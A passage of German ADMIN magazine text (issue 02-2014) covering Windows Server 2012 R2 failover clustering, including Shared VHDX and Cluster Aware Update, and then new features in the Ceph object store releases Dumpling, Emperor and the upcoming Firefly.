Cluster zu betreiben, aktivieren Sie die<br />
Cluster Shared Volumes, nachdem Sie<br />
den Cluster erstellt haben. Windows<br />
legt dann auf der Betriebssystempartition<br />
im Ordner »ClusterStorage« Daten<br />
ab. Diese liegen aber nicht auf der<br />
Festplatte »C:« des Knotens, sondern<br />
auf dem gemeinsamen Datenträger,<br />
dessen Abruf auf den Ordner »C:\ClusterStorage«<br />
umgeleitet ist. Um CSV<br />
für einen Cluster zu aktivieren, starten<br />
Sie das Verwaltungsprogramm für den<br />
Failover-Cluster (Abbildung 6) und<br />
klicken mit der rechten Maustaste im<br />
Bereich »Speicher/Datenträger« auf den<br />
Datenträger, den Sie für Hyper-V nutzen<br />
wollen. Dort wählen Sie »Zu freigegebenen<br />
Clustervolumes hinzufügen«.<br />
Dynamisches I/O<br />
Cluster in Windows Server 2012 R2 beherrschen<br />
Dynamic I/O. Wenn die Datenverbindung<br />
eines Knotens ausfällt,<br />
kann der Cluster den Datenverkehr der<br />
für die Kommunikation zu den virtuellen<br />
Computern im SAN notwendig ist,<br />
automatisch über die Leitungen des<br />
zweiten Knotens routen, ohne dazu ein<br />
Failover durchführen zu müssen. Sie<br />
können einen Cluster so konfigurieren,<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Windows-Cluster<br />
55<br />
dass die Cluster-Knoten den Netzwerkverkehr<br />
zwischen den Knoten und zu<br />
den CSVs priorisiert.<br />
Virtuelle Server im Cluster<br />
verwalten<br />
Um einen virtuellen Server in einem<br />
Cluster zu erzeugen, verwenden Sie die<br />
Failover-Cluster-Manager (Abbildung 7).<br />
Klicken Sie mit der rechten Maustaste<br />
auf »Rollen/Virtueller Computer/Neuer<br />
virtueller Computer« und starten Sie<br />
den Assistenten. Wählen Sie den Cluster-Knoten,<br />
auf dem Sie diesen Server<br />
bereitstellen wollen. Der Rest des Assistenten<br />
entspricht der Konfiguration<br />
von virtuellen Servern. Die virtuellen<br />
Server erscheinen nach dem Erstellen<br />
im Bereich Rollen der Failover-Cluster-<br />
Verwaltung. Über das Kontextmenü<br />
verwalten Sie die virtuellen Server.<br />
Um eine Live-Migration zu starten,<br />
klicken Sie den virtuellen Computer<br />
mit der rechten Maustaste an, rufen<br />
Abbildung 6: Die Datenträger des Clusters verwalten Sie im grafischen<br />
Failover-Cluster-Manager.<br />
im Kontextmenü den<br />
Eintrag »Verschieben/<br />
Livemigration« auf und<br />
wählen den Knoten<br />
aus. Zuvor müssen Sie<br />
aber die Live-Migration<br />
auf den entsprechenden<br />
Hyper-V-Hosts in<br />
den Hyper-V-Einstellungen<br />
konfigurieren.<br />
Der Unterschied der<br />
Live-Migration zur<br />
Schnellmigration ist,<br />
dass die Maschinen<br />
während der Übertragung<br />
durch die<br />
Live-Migration aktiv bleiben und auch<br />
der Arbeitsspeicherinhalt zwischen<br />
den Servern übertragen wird. Bei der<br />
Schnellmigration deaktiviert Hyper-V<br />
die Maschinen vorher.<br />
Sie können einen Cluster mit Windows<br />
Server 2012 R2 so konfigurieren, dass<br />
die Cluster-Knoten den Netzwerkverkehr<br />
zwischen den Knoten und den gemeinsamen<br />
Datenträgern priorisieren.<br />
Um zu erfahren, welche Netzwerkeinstellungen<br />
der Cluster zur Kommunikation<br />
mit dem Cluster Shared Volume<br />
nutzt, starten Sie eine Powershell-<br />
Sitzung auf dem Server und rufen das<br />
Commandlet »Get‐ClusterNetwork« auf.
56<br />
Know-how<br />
Windows-Cluster<br />
Abbildung 7: Die Verwaltung der virtuellen Computer findet im Failover-Cluster-Manager<br />
statt.<br />
Neu seit Windows Server 2012 ist auch<br />
der Bereich »Startpriorität ändern« im<br />
Kontextmenü von virtuellen Servern.<br />
Dort können Sie festlegen, wann bestimmte<br />
virtuelle Server starten sollen.<br />
Ebenfalls neu ist die Möglichkeit, die<br />
Überwachung für virtuelle Server im<br />
Cluster festzulegen. Sie finden diese<br />
Einstellung über »Weitere Aktionen/<br />
Überwachung konfigurieren.« Anschließend<br />
wählen Sie die Dienste aus, die<br />
der Cluster überwachen soll. Fällt in<br />
der VM einer der ausgewählten Dienste<br />
aus, kann der Cluster die VM neu starten<br />
oder auf einen anderen Knoten<br />
verschieben.<br />
Shared-VHDX-Festplatten<br />
Neben der Möglichkeit physische Festplatten<br />
und iSCSI-Ziele für Cluster zu<br />
nutzen, können Sie in Windows Server<br />
2012 R2 auch die neue Shared-Funktion<br />
Abbildung 8: Virtuelle Festplatten können Sie in Windows Server 2012<br />
R2 freigeben und so im Cluster nutzen.<br />
von VHDX-Festplatten<br />
nutzen. Dabei erstellen<br />
Sie eine oder mehrere<br />
virtuelle Festplatten,<br />
die Sie über einen virtuellen<br />
SCSI-Controller<br />
einem der virtuellen<br />
Cluster-Knoten zuweisen.<br />
Rufen Sie die Einstellungen<br />
des virtuellen<br />
Servers auf und wählen<br />
Sie »SCSI‐Controller<br />
/ Festplatte /<br />
Erweiterte Features«.<br />
Aktivieren Sie die<br />
Option »Freigabe<br />
virtueller Festplatten<br />
aktivieren« (Abbildung<br />
8). Jetzt haben Sie<br />
die Möglichkeit, diese<br />
virtuelle Festplatte<br />
anderen virtuellen<br />
Servern zuzuordnen<br />
und auf diesem Weg als gemeinsamen<br />
Datenträger zu nutzen. Auf Basis dieses<br />
virtuellen Datenträgers bauen Sie dann<br />
einen Cluster mit virtuellen Servern<br />
in Hyper-V oder einer anderen Virtualisierungslösung<br />
auf. Auf diesem Weg<br />
lassen sich sehr leicht virtuelle Cluster<br />
aufbauen.<br />
Damit die Shared-VHDX-Funktion genutzt<br />
werden kann, müssen sich die<br />
virtuellen Server in einem Cluster befinden.<br />
Außerdem müssen die virtuellen<br />
Festplatten, die Shared-VHDX bereitstellen,<br />
auf einem gemeinsamen Datenträger<br />
im Cluster gespeichert sein. Hier<br />
verwenden Sie am besten den konfigurierten<br />
CSV. Das heißt, in Windows 8.1<br />
können Sie keine Shared-VHDX-Platten<br />
nutzen, auch wenn diese Funktion prinzipiell<br />
zur Verfügung steht. Sie können<br />
aber zu Testzwecken problemlos einen<br />
Cluster mit nur einem Knoten erstellen.<br />
Das ist zwar kein<br />
offiziell unterstütztes<br />
Szenario, funktioniert<br />
aber.<br />
Gemeinsame Festplatten<br />
können Sie nicht<br />
im laufenden Betrieb<br />
anpassen, um etwa die<br />
Größe der Platten zu<br />
ändern. Das geht nur<br />
bei normalen virtuellen Festplatten, die<br />
virtuellen SCSI-Controllern zugeordnet<br />
sind. Diese Funktion ist neu in Windows<br />
Server 2012 R2. Außerdem können Sie<br />
keine Live-Migration des Speichers für<br />
virtuelle Festplatten durchführen, die<br />
Sie im Cluster als Shared-VHDX nutzen.<br />
Auch das geht nur mit normalen<br />
Festplatten, selbst schon in Windows<br />
Server 2012.<br />
Beispiel für eine<br />
Testumgebung<br />
Um zum Beispiel einen virtuellen Cluster<br />
als Dateiserver zu nutzen und die<br />
Daten des virtuellen Dateiserver-Clusters<br />
in Shared-VHDX-Dateien zu speichern,<br />
erstellen Sie wie beschrieben<br />
einen normalen Cluster. Für eine Testumgebung<br />
kann der Cluster auch nur<br />
aus einem einzelnen Server bestehen.<br />
Um die Shared-VHDX-Platten in einem<br />
bestimmten Laufwerk zu speichern,<br />
geben Sie in der Befehlszeile folgenden<br />
Befehl ein:<br />
FLTMC.EXE attach svhdxflt Laufwerk<br />
Danach können Sie den einzelnen<br />
virtuellen Servern im Cluster virtuelle<br />
Festplatten hinzufügen und diese als<br />
Shared-VHDX konfigurieren. Danach<br />
erstellen Sie den virtuellen Cluster genauso<br />
wie den physischen Cluster.<br />
Erstellen Sie mehrere gemeinsame<br />
Festplatten, können Sie diese auf diesem<br />
Weg auch zu einem Speicherpool<br />
zusammenfassen und ebenfalls im<br />
Cluster einsetzen. Den Pool erstellen<br />
Sie im Bereich »Speicher / Pools des<br />
Clusters«.<br />
Cluster Aware Update<br />
Mit Windows Server 2012 hat Microsoft<br />
die Funktion Cluster Aware Update<br />
(CAU) eingeführt. Sie erlaubt die Installation<br />
von Software-Updates über<br />
den Cluster-Dienst. Damit lassen sich<br />
Betriebssystem und Serveranwendungen<br />
aktualisieren, ohne dass Cluster-<br />
Dienste ausfallen.<br />
Bei der Konfiguration von CAU erstellen<br />
Sie eine neue Rolle, die zukünftig Software-Aktualisierungen<br />
vollkommen<br />
selbstständig durchführen kann. Sie<br />
übernimmt auch die Konfiguration des<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Windows-Cluster<br />
57<br />
Wartungsmodus auf den Cluster-Knoten,<br />
kann Cluster-Knoten neu starten,<br />
Cluster-Rollen wieder auf die korrekten<br />
Cluster-Knoten verschieben und mehr.<br />
Sie können die Aktualisierung manuell<br />
starten und einen Zeitplan für die Aktualisierungen<br />
definieren.<br />
Um CAU für einen neuen Cluster zu<br />
erstellen, erstellen Sie zunächst im<br />
Snap-In »Active Directory‐Benutzer und<br />
‐Computer« ein neues Computerobjekt.<br />
Dieser Vorgang ist optional, denn das<br />
Computerobjekt kann der Assistent<br />
für CAU auch selbst erstellen. Dieses<br />
Computerobjekt stellt die Grundlage<br />
für die Cluster-Rolle zur Einrichtung<br />
der automatischen Aktualisierung dar.<br />
Sie müssen keine Einstellungen für das<br />
Objekt vornehmen, sondern es nur neu<br />
erzeugen. Verwenden Sie als Beispiel<br />
den Namen des Clusters mit der Erweiterung<br />
CAU, zum Beispiel »cluster‐cau«.<br />
Zusätzlich sollten Sie auf allen Cluster-<br />
Knoten, die an CAU teilnehmen, eine<br />
eingehende Firewall-Regel erstellen<br />
und als Regeltyp »Vordefiniert/Remote-<br />
Herunterfahren« auswählen. Das Verwaltungsprogramm<br />
starten Sie durch<br />
Eingabe von »wf.msc«. Ist die Regel<br />
schon vorhanden, aktivieren Sie sie<br />
über das Kontextmenü.<br />
Ist das erledigt, suchen Sie auf der<br />
Startseite nach dem Einrichtungsprogramm<br />
von »Clusterfähiges Aktualisieren«<br />
und starten das Tool. Im ersten<br />
Schritt lassen Sie sich mit dem Cluster<br />
verbinden, für den Sie CAU aktivieren<br />
wollen. Danach klicken Sie auf den Link<br />
»Vorbereitung auf das Clusterupdate<br />
analysieren«. Der Assistent überprüft,<br />
ob Sie CAU im Cluster aktivieren können<br />
(Abbildung 9).<br />
Haben Sie sich mit dem gewünschten<br />
Cluster verbunden und die Analyse<br />
durchgeführt, starten Sie die Einrichtung<br />
über einen Assistenten. Ihn rufen<br />
Sie mit »Selbstaktualisierungsoptionen<br />
des Clusters konfigurieren« auf. Auf der<br />
ersten Seite erhalten Sie eine Information<br />
darüber, was der Assistent alles<br />
konfiguriert. Auf der nächsten Seite<br />
aktivieren Sie die Option »CAU‐Clusterrolle<br />
mit aktiviertem Selbstaktualisierungsmodus<br />
zum Cluster hinzufügen«.<br />
Danach aktivieren Sie die Option »Ich<br />
habe das Computerobjekt für die<br />
CAU‐Clusterrolle vorab<br />
bereitgestellt«. Geben<br />
Sie im Feld den Namen<br />
des Computerobjekts<br />
ein. Der Assistent kann<br />
das Objekt aber auch<br />
automatisch erstellen,<br />
was die Konfiguration<br />
in Testumgebungen<br />
vereinfacht.<br />
Auf der nächsten Seite<br />
legen Sie den Zeitplan<br />
fest, nach dem<br />
sich der Cluster und<br />
die einzelnen Knoten<br />
automatisiert aktualisieren<br />
sollen. Auf<br />
der Seite »Erweiterte<br />
Optionen« können Sie<br />
weitere Einstellungen<br />
vornehmen, die aber<br />
optional sind. Sinnvoll ist zum Beispiel<br />
die Option, die bestimmt, dass die Aktualisierung<br />
nur dann gestartet wird,<br />
wenn alle Cluster-Knoten erreichbar<br />
sind. Dazu aktivieren Sie die Option<br />
»True« bei »RequireAllNodesOnline«.<br />
Weitere Möglichkeiten sind das Hinterlegen<br />
von Skripten, die vor oder nach<br />
der Aktualisierung vom Cluster-Dienst<br />
gestartet werden sollen.<br />
Auf der nächsten Seite legen Sie fest,<br />
wie sich der Cluster-Dienst mit empfohlenen<br />
Updates befassen soll und<br />
ob diese die gleiche Rolle spielen wie<br />
wichtige Updates. Danach erhalten<br />
Sie eine Zusammenfassung, und der<br />
Dienst wird erstellt. Tritt ein Fehler auf,<br />
überprüfen Sie die Rechte für das Computerobjekt<br />
zur Cluster-Aktualisierung.<br />
Geben Sie in den Eigenschaften des Objekts<br />
dem Cluster-Konto volle Zugriffsrechte<br />
auf das neue Konto. Alternativ<br />
lassen Sie den Assistenten selbst das<br />
Computerobjekt erstellen. Lassen Sie<br />
nach der Einrichtung von CAU die Analyse<br />
noch einmal durchführen.<br />
Patch-Management<br />
Welche Patches der Dienst installiert,<br />
steuern Sie durch Freigabe der Patches<br />
auf einem WSUS-Server, oder Sie aktivieren<br />
die lokale Update-Verwaltung<br />
auf dem Server. Die Liste der Patches,<br />
die der Dienst installiert, erhalten Sie<br />
im Verwaltungsprogramm für CAU,<br />
Abbildung 9: Vor der Aktivierung von Cluster Aware Update analysieren<br />
Sie den Cluster. Hier sieht alles gut aus.<br />
wenn Sie auf »Vorschau der Updates für<br />
diesen Cluster anzeigen« klicken.<br />
Um die Aktualisierung sofort zu starten,<br />
klicken Sie auf »Updates auf diesen<br />
Cluster anwenden«. Den Status der<br />
aktuellen Installationen sehen Sie im<br />
Verwaltungstool von CAU, mit dem<br />
Sie den Dienst bereits eingerichtet<br />
haben. Bei der Aktualisierung wird<br />
der entsprechende Knoten in den<br />
Wartungszustand versetzt, die Clusterressourcen,<br />
wie zum Beispiel die VMs,<br />
auf andere Knoten verschoben, danach<br />
die Aktualisierung gestartet und dann<br />
die Ressourcen wieder zurückübertragen.<br />
Danach wird der nächste Knoten<br />
aktualisiert. Weitere Informationen zu<br />
diesem Dienst sind auf der Seite [1] zu<br />
finden. (ofr) n<br />
n Info<br />
Weiterführende Links und<br />
Informationen zu diesem<br />
Artikel finden Sie unter:<br />
www.admin-magazin.de/qr/31645<br />
[1] Thomas Joos, Umgang mit VHDX-Dateien,<br />
ADMIN 05/2013: [http:// www.<br />
admin‐magazin. de/ Das‐Heft/ 2013/ 05/<br />
Umgang‐mit‐VHDX‐Dateien]<br />
[2] Cluster-fähiges Aktualisieren: Häufig gestellte<br />
Fragen: [http:// technet. microsoft. com/ de‐de/<br />
library/ hh831367. aspx]<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
Heiko Küverling, 12RF<br />
Wohin geht die Reise bei Ceph-Objectstore?<br />
Ablagesystem<br />
Red Hat veröffentlichte kürzlich ein flammendes Manifest für GlusterFS und gegen Ceph. Man nimmt den<br />
Konkurrenten also durchaus ernst. Grund genug, die neuesten Entwicklungen bei Ceph genauer zu betrachten.<br />
Martin Loschwitz<br />
Der Objektspeicher Ceph war im<br />
ADMIN-Magazin bereits einige Male<br />
Thema, und bis jetzt hatte Ceph dabei<br />
stets die Rolle des Underdogs – hatte<br />
es doch bis dato Insider-Charakter: Nur,<br />
wer sich bereits eingehend mit den<br />
neuen Storage-Technologien beschäftigt<br />
hat, dürfte Ceph schon bemerkt<br />
und womöglich sogar ausprobiert<br />
haben. Inktank, die Firma hinter Ceph,<br />
hat in den letzten Wochen und Monaten<br />
nichts unversucht gelassen, um das<br />
zu ändern: Neben medial groß angekündigten<br />
Ceph Developer Summits<br />
(dazu später mehr) tourte ein Team<br />
von Inktank-Angestellten inklusive des<br />
Ceph-Erfinders Sage Weil auch rund um<br />
die Welt, um Ceph-Days in verschiedenen<br />
Städten abzuhalten. Im Oktober<br />
war ein solcher Ceph-Day in London,<br />
der sich großer Beliebtheit erfreute:<br />
Dutzende Interessierte nutzten die<br />
Gelegenheit, um Sage Weil direkt Fragen<br />
zu stellen, die Ceph betreffen, und<br />
mehr über die Lösung zu erfahren.<br />
Im November erhielt Ceph dann quasi<br />
obendrein so etwas wie einen kleinen<br />
Ritterschlag: Red Hat veröffentlichte<br />
im Gluster-Blog einen Artikel, in dem<br />
es sich ausführlich über vermeintliche<br />
Benchmark-Vergleiche zwischen Ceph<br />
und GlusterFS ausließ [1]. Die Nervosität<br />
bei den roten Hüten macht deutlich,<br />
dass man Ceph dort mittlerweile<br />
ernst nimmt und bereit ist, Geld für<br />
Marketing in die Hand zu nehmen, um<br />
die Vorzüge von GlusterFS gegenüber<br />
Ceph deutlich zu machen. Frei nach<br />
Mahatma Gandhi hat Red Hat Ceph erst<br />
ignoriert, danach eine ganze Weile belächelt<br />
und nun schließlich begonnen,<br />
die Software zu bekämpfen.<br />
Was tut sich?<br />
Es stellt sich freilich die Frage, ob<br />
Sage Weil und sein Team eingedenk<br />
der ganzen Reisen derzeit überhaupt<br />
entwickeln können? Sie können – und<br />
wie! Denn während die PR-Kampagnen<br />
für Ceph langsam fruchten, tut sich<br />
bei der Speicherlösung auch inhaltlich<br />
einiges. Zwei Releases haben in den<br />
letzten sechs Monaten das Licht der<br />
Welt erblickt: Dumpling erschien im<br />
August, Emperor im November. Die beiden<br />
Releases allein bergen interessante<br />
Features, über die sich seitenweise berichten<br />
ließe; dann blieben allerdings<br />
die Leckerbissen, die Firefly enthalten<br />
soll, unerwähnt. Die folgenden Zeilen<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Ceph<br />
59<br />
geben einen Überblick über das Neue,<br />
das schon da ist, und das Neue, das<br />
noch kommt.<br />
Einfacheres Deployment<br />
Für Anwender dürfte die offensichtlichste<br />
und damit am ehesten bemerkbare<br />
Veränderung wohl die Tatsache<br />
sein, dass das Werkzeug »ceph‐deploy«<br />
nun tatsächlich reif für den produktiven<br />
Einsatz ist. Wer Ceph zuvor installieren<br />
wollte, musste einen eher steinigen<br />
Weg auf sich nehmen und dabei auch<br />
das in Entwicklerkreisen fasst schon<br />
verhasste »mkcephfs« verwenden (Abbildung<br />
1). Jenes war ein riesiges Shell-<br />
Skript, das noch aus den Cephschen<br />
Anfangszeiten erhalten geblieben war<br />
und in loser Aneinanderreihung Befehle<br />
ausführte, die letztlich zu einem<br />
funktionierenden Ceph-Cluster führten.<br />
»mkcephfs« war dabei aber nicht sehr<br />
flexibel, abgesehen davon, dass sein<br />
Name grob irreführend war: Das Tool<br />
erstellte nämlich kein Dateisystem,<br />
sondern baute anhand einer vom Admin<br />
beigesteuerten »ceph.conf«-Datei<br />
einen kompletten Ceph-Cluster aus Monitoring-Servern,<br />
OSDs und Metadaten-<br />
Servern zusammen, indem es sich per<br />
SSH mit den einzelnen Servern verband<br />
und dort Befehle ausführte.<br />
Damit ist nun Schluss: »ceph‐deploy«<br />
(Abbildung 2) ist jetzt ein eigens geschriebenes<br />
Python-Werkzeug, an dem<br />
seit Monaten entwicklet wird. Es übernimmt<br />
die Aufgaben seines Vorgängers,<br />
funktioniert dabei aber nachvollziehbar<br />
und ist viel besser zu warten. Obendrein<br />
kommt es mit einem echten<br />
Mehrwert: Viele Schritte, die der Admin<br />
vorher manuell erledigen musste,<br />
übernimmt »ceph‐deploy« nun automatisch.<br />
So war es bei »mkcephfs« beispielsweise<br />
normal, dass sich ein Admin<br />
selbst darum kümmern musste, die<br />
Dateisysteme auf den zukünftigen<br />
OSDs selbst anzulegen. Auch das Mounten<br />
der Platten per »/etc/fstab« war in<br />
früheren Ceph-Versionen dem Admin<br />
überlassen. Mittels »ceph‐deploy«<br />
reicht der Befehl »ceph‐deploy osd prepare<br />
host:sdc1:/dev/sdq1« gefolgt von<br />
»ceph osd activate host:/dev/sdc1«, damit<br />
das neue OSD aktiv wird und in den<br />
Cluster integriert wird. Das Beispielkommando<br />
würde dafür sorgen, dass<br />
die Platte »/dev/sdc1« auf Host host mit<br />
dem Journal‐Device »/dev/sdq1« zur<br />
OSD wird.<br />
Admins sind angehalten, fortan ausschließlich<br />
»ceph‐deploy« zu nutzen,<br />
»mkcephfs« ist bereits deprecated<br />
und wird in absehbarer Zeit auch aus<br />
dem Ceph-Quelltext fliegen. Die Chef-<br />
Recipes sind bereits auf »ceph‐deploy«<br />
umgestellt, sodass auch hier keine<br />
Schwierigkeiten zu erwarten sind. Nutzen<br />
Admins »ceph‐deploy«, so ist es für<br />
sie deutlich einfacher, einen Cluster in<br />
Ceph auf Basis von Standardpfaden anzulegen,<br />
was im Fehlerfalle das Suchen<br />
nach der Ursache sehr viel leichter<br />
macht.<br />
»ceph‐deploy« ist mittlerweile übrigens<br />
in Paketform für verschiedene Distributionen<br />
verfügbar. Anders als sein<br />
Vorgänger gehört es nicht direkt zum<br />
»ceph«-Quelltext, sondern hat seinen<br />
eigenen Sourcetree unter [2], sodass in<br />
der Regel die Installation des Zusatzpaketes<br />
»ceph‐deploy« nötig ist.<br />
Der Name Ceph<br />
Wer die Release-Notes der letzten<br />
Ceph-Versionen liest, stolpert über<br />
viele vermeintlich neue Begriffe: »Ceph<br />
Block Device«, »Ceph Gateway« sowie<br />
»Ceph Storage Cluster«. Vermeintlich<br />
Abbildung 1: Die von »ceph‐deploy« generierte<br />
»ceph.conf« unterscheidet sich von der alten Syntax<br />
deutlich und hat ordentlich abgespeckt.<br />
neu sind die Begriffe, weil die sich hinter<br />
ihnen verbergenden Komponenten<br />
eigentlich alte Bekannte sind: Was<br />
nun als »Ceph Gateway« firmiert, war<br />
vorher das »RADOS Gateway« und das<br />
»Ceph Block Device« war einmal das<br />
»RADOS Block Device«.<br />
Das Umtaufen hat offensichtlich System,<br />
und Inktank verfolgt auf diese<br />
Weise das Ziel, Ceph als Eigennamen zu<br />
etablieren. Ursprünglich war »Ceph« ja<br />
lediglich der Name für das Dateisystem,<br />
das im Hintergrund auf den eigentlichen<br />
Objectstore zugreift. Als Sage Weil & Co.<br />
aufging, dass sich der Objectstore selbst<br />
auch für andere Funktionen als ein<br />
Dateisystem nutzen ließe, war das zumindest<br />
namenstechnisch ein Problem,<br />
denn der Name »Ceph« war eben für das<br />
Dateisystem vergeben und in Szenekreisen<br />
bereits einigermaßen verbreitet.<br />
Dass die Entwickler nun den Versuch<br />
Abbildung 2: »ceph‐deploy« geriert sich fast schon wie eine Shell. Mit den entsprechenden Parametern<br />
baut es einen kompletten Ceph-Cluster auf.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 02-2014
60<br />
Know-how<br />
Ceph<br />
Abbildung 3: Erasure Coding beschreibt Entwickler Loic Dachary<br />
als „anderen Namen für RAID 5“. Jedenfalls geht es um das Chunkbasierte<br />
Ablegen von Daten.<br />
unternehmen, den alten Namen »RA-<br />
DOS« loszuwerden und stattdessen die<br />
positiven Konnotationen von »Ceph« auf<br />
die gesamte Lösung übertragen möchten,<br />
erscheint durchaus konsequent<br />
– ungewohnt ist es trotzdem. Über die<br />
Lösung für ein Namensproblem brütet<br />
Inktank zudem bis jetzt: Das Dateisystem,<br />
das vorher nur »Ceph« hieß, heißt<br />
mittlerweile offiziell »CephFS« – weil das<br />
Modul als »Ceph« aber bereits im Kernel<br />
ist, wird eine Änderung des Namens hier<br />
nochmal deutlich schwieriger. Wie das<br />
Thema ausgeht, war bei Redaktionsschluss<br />
noch nicht absehbar.<br />
Site-Replikation<br />
Auch bei den einzelnen Ceph-Komponenten<br />
selbst tut sich einiges. Eine<br />
neue Funktion, die viele Ceph-Benutzer<br />
sehnsüchtig erwartet haben, hat zunächst<br />
das Ceph-Gateway spen diert<br />
bekommen, also die ReSTful-API für<br />
den Objectstore: Ab Version 0.67, also<br />
Dumpling, beherrscht jenes näm lich die<br />
Möglichkeit, einzelne Sites zu definieren.<br />
Zwischen diesen Sites kümmert sich das<br />
Ceph-Gateway dann um die Replikation.<br />
Einen tatsächlichen praktischen Nutzen<br />
hat das Feature der Site-Einteilung in<br />
Dumpling allerdings noch nicht – dieser<br />
gesellte sich im Emperor-Release hinzu:<br />
Zusammen mit Emperor erblickte<br />
nämlich der »radosgw‐agent« das Licht<br />
der Welt – spannenderweise<br />
wieder mit altem<br />
Namen. Der Agent<br />
nutzt die Einteilung in<br />
Sites und verwendet<br />
sie, um eine asynchrone<br />
Replikation<br />
zwischen mehreren<br />
Standorten zu etablieren.<br />
Zusammen schaffen<br />
also die beiden<br />
Features tatsächlich<br />
die Möglichkeit, mit<br />
Ceph über die Grenzen<br />
von einem einzelnen<br />
Rechenzentrum hinweg<br />
sinnvoll zu replizieren<br />
– eine Funktion,<br />
die sich einige Ceph-<br />
Anwender lange Zeit<br />
sehnlichst gewünscht<br />
haben. Bisher war es<br />
mit Ceph lediglich möglich, im Rahmen<br />
der CRUSH-Map die Server in zwei Rechenzentren<br />
entsprechenden Gruppen<br />
zuzuweisen. Weil Ceph per se aber nur<br />
die synchrone Replikation beherrscht,<br />
hat diese Art der Einteilung de facto<br />
keinen Unterschied gemacht.<br />
HTTP-basierte Konfiguration<br />
Ebenfalls in Dumpling hinzugekommen<br />
ist das Feature, das die Entwickler als<br />
»ReSTful‐basierte HTTP‐Konfiguration«<br />
bezeichnen. Wer zunächst an ein Web-<br />
Interface denkt, liegt damit allerdings<br />
daneben, denn gemeint ist hier in der<br />
Tat ein Konfigurationsmechanismus,<br />
der sich per ReSTful-Protokoll über eine<br />
eigens dafür in Ceph implementierte<br />
API ansteuern lässt. Die API kennt eigene<br />
Befehle, versucht sich in Sachen<br />
Syntax aber weitestgehend an die vom<br />
»ceph«-Programm gewohnten Konventionen<br />
zu halten. Die Lösung verfügt<br />
über einen eigenen Single-Threaded<br />
HTTP-Server, und letztlich dürfte diese<br />
Art der Ceph-Administration der Konfiguration<br />
über die Kommandozeile<br />
ebenbürtig sein. Beide Mechanismen<br />
wollen die Ceph-Entwickler jedenfalls<br />
Seite an Seite pflegen.<br />
Kleinvieh in Emperor<br />
Die Ceph-Version 0.72 alias »Emperor«,<br />
die im November erschienen ist, kam<br />
ohne pompöses Release-Announcement<br />
aus und widmete sich eher<br />
verschiedenen Details. Dazu gehören<br />
Performance-Improvements hier und<br />
da sowie verschiedene Optimierungen,<br />
was die Benutzbarkeit einzelner<br />
Dienste angeht. Die MONs können seit<br />
Emperor beispielsweise Nutzungsstatistiken<br />
basierend auf der Einteilung<br />
von Ceph in Pools ausgeben; obendrein<br />
warnen die MONs nun auch, wenn<br />
Pools mit einer Anzahl von Placement<br />
Groups angelegt werden, die technisch<br />
nicht sinnvoll ist. Im Ceph-Gateway<br />
lassen sich seit Emperor Quotas definieren,<br />
was eine echte Premiere in<br />
Ceph darstellt – bis jetzt waren Quotas<br />
allenfalls ein Wunsch in der Planung<br />
vieler Ceph-Nutzer.<br />
Quasi neben dem offiziellen Release-<br />
Cycle haben die Inktank-Entwickler auf<br />
dem Weg zu Emperor übrigens auch an<br />
anderen Projekten herumgeschraubt;<br />
Zeugnis davon legt das »tgt«-iSCSI-<br />
Target ab. Denn jenes kann nun über<br />
die »librados« unmittelbar und direkt<br />
mit Ceph sprechen, ohne den mühsamen<br />
Umweg über ein »rbd«-Device zu<br />
gehen.<br />
Was harmlos klingt, wirkt sich deutlich<br />
erkennbar auf die Benutzbarkeit von<br />
Ceph mit iSCSI aus: Der alte Mechanismus<br />
mit einem »rbd«-Device und darauf<br />
liegendem »tgt«-Target ermöglicht<br />
es nämlich beispielsweise nicht, das<br />
Target auf einem Host laufen zu lassen,<br />
der selbst Teil des Kernels ist. Eine<br />
Limitierung im Linux-Kernel würde bei<br />
solchen Setups unter hoher Last sporadisch<br />
zu Deadlocks führen (das Problem<br />
ist übrigens nicht Ceph-spezifisch<br />
sondern bezieht sich generell auf die<br />
sogenannten „Loopmounts“ und vergleichbare<br />
Konstrukte [3]). Durch die<br />
Änderungen an »tgt« fällt wie erwähnt<br />
der Umweg über den Kernel weg und<br />
das Problem erübrigt sich.<br />
Eine zusätzliche Neuerung in Emperor<br />
erfreut die Benutzer, die Ceph in der<br />
Kombination mit OpenStack einsetzen<br />
und Ceph dort insbesondere als Ersatz<br />
für OpenStacks eigenen Objektspeicher<br />
Swift nutzen. Swift unterstützt ja neben<br />
dem eigenen, nativen Protokoll auch<br />
Amazons S3 in ausreichend kompatibler<br />
Art und Weise. Das Ceph-Gateway,<br />
Ausgabe 02-2014 Admin www.admin-magazin.de
Know-how<br />
Ceph<br />
61<br />
das als ReSTful-Schnittstelle für Ceph<br />
dient, kennt ebenfalls beide Protokolle.<br />
Allerdings war die Anbindung des<br />
Ceph-Gateways an Keystone bis jetzt<br />
eher löchrig. Keystone ist die Komponente,<br />
die sich um die Authentifizierung<br />
von Nutzern in OpenStack kümmert.<br />
Das Ceph-Gateway konnte Keystone<br />
zwar nutzen, allerdings ließ es sich<br />
dann nur im Kompatibilitätsmodus für<br />
das Swift-eigene Protokoll verwenden<br />
– die Option, Amazons S3 ebenfalls<br />
anzubieten, fiel flach. Dieses Problem<br />
haben die Ceph-Entwickler in Emperor<br />
aber beseitigt: Das Ceph-Gateway in<br />
Emperor kann auf der einen Seite direkt<br />
mit Keystone verbunden sein und<br />
von dort seine Nutzerdaten beziehen,<br />
auf der anderen Seite aber sowohl das<br />
S3- wie auch das native Swift-Interface<br />
an die Außenwelt durchreichen.<br />
Insgesamt präsentiert sich Emperor<br />
insofern als stabiles Wartungsrelease<br />
ohne aufregende Neuerungen.<br />
Was Firefly bringt<br />
Angesichts der Tatsache, dass Ceph<br />
alles andere als Feature-complete ist,<br />
stellt sich freilich die Frage nach dem<br />
Next Big Thing. Tatsächlich werkeln die<br />
Ceph-Entwickler derzeit an zwei Features<br />
für die nächste Version („Firefly“),<br />
die Sensationspotenzial haben: Storage<br />
Tiering auf der einen und Erasure<br />
Coding auf der anderen Seite. Beide<br />
Technologien richten sich gezielt an<br />
Enterprise-Kunden – was bewirken sie,<br />
was wird durch sie besser?<br />
Am Erasure-Coding-Feature hätte zumindest<br />
eine deutsche Kleinpartei ihre<br />
helle Freude – letztlich geht es nämlich<br />
um nichts anderes als „Mehr Netto<br />
vom Brutto“. Gemeint ist freilich Speicherkapazität.<br />
Aktuelle Versionen von<br />
